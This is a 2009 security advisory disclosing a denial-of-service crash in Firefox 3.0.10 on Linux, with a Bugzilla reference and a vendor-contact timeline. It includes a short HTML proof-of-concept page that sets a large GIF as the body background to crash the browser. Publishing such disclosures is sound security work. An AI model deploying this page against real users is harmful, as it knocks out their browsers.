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ECHO_ADV_110$2009
Affected software description:
Firefox is a popular Internet browser from the Mozilla Corporation.
Application : Firefox for GNU/linux
version : Firefox/3.0.10 (X11; Linux i686; U; en)
Also affected for lower version (tested for version 3.0.8 at
Ubuntu 9.0.4)
URL : http://firefox.com
Bugzilla entry : https://bugzilla.mozilla.org/show_bug.cgi?id=496265
Description :
Firefox 3.0.10 (previous version) for GNU/Linux Operating systems are unable to
handle big size of GIF images rendering when it becomes a body backgrounds.
Just use a random size GIF files will crash firefox because of HTML body tag.
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Exploit Code:
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<!-- Firefox 3.0.10 DOS exploit, discovered by
Ahmad Muammar W.K (y3dips[at]echo[dot]or[dot]id)
http://y3dips.echo.or.id
//-->
<html>
<head>
<title>Firefox Exploit</title>
<body background="exploit.gif">
</body>
</html>
live exploit :
http://y3dips.echo.or.id/tempe/ff310expl/
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Timeline:
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- 20 - 05 - 2009 bug found
- 04 - 06 - 2009 vendor contacted and adding entry to bugzilla
- 04 - 06 - 2009 vendor response, and there`s a potential patch
- 09 - 06 - 2009 advisory release
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Shoutz:
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~ my family (ana my wife and ali my son)
~ the_day, K-159, negative, hero, az001, rey, and also all echo staff
~ janex vind "waraxe", str0ke, chopstick
~ newbie_hacker[at]yahoogroups.com
~ #e-c-h-o @irc.dal.net
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Contact:
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y3dips || echo|staff || y3dips[at]echo[dot]or[dot]id
Homepage: http://y3dips.echo.or.id/
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